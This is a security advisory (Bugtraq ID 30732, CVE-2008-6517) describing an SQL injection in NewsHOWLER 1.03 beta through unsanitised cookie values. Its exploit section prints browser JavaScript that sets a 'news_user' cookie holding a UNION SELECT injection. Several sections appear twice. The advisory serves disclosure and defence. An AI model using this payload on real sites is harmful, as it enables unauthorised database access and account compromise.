NewsHOWLER Cookie Data SQL Injection Vulnerability
BID:30732
Info
NewsHOWLER Cookie Data SQL Injection Vulnerability
| Bugtraq ID: | 30732 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6517 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 18 2008 12:00AM |
| Updated: | May 07 2015 05:24PM |
| Credit: | IRCRASH (R3d.W0rm (Sina Yazdanmehr)) |
| Vulnerable: |
Net Dupe NewsHOWLER 1.03 beta |
| Not Vulnerable: | |
Discussion
NewsHOWLER Cookie Data SQL Injection Vulnerability
NewsHOWLER is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
NewsHOWLER is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
NewsHOWLER Cookie Data SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following exploit is available:
javascript:document.cookie = "news_user=zz'+union+select+3,3,3,3+from+news_users/*; path=/";
javascript:document.cookie = "news_password=3; path=/";
Attackers can use a browser to exploit this issue.
The following exploit is available:
javascript:document.cookie = "news_user=zz'+union+select+3,3,3,3+from+news_users/*; path=/";
javascript:document.cookie = "news_password=3; path=/";
Solution / Fix
NewsHOWLER Cookie Data SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].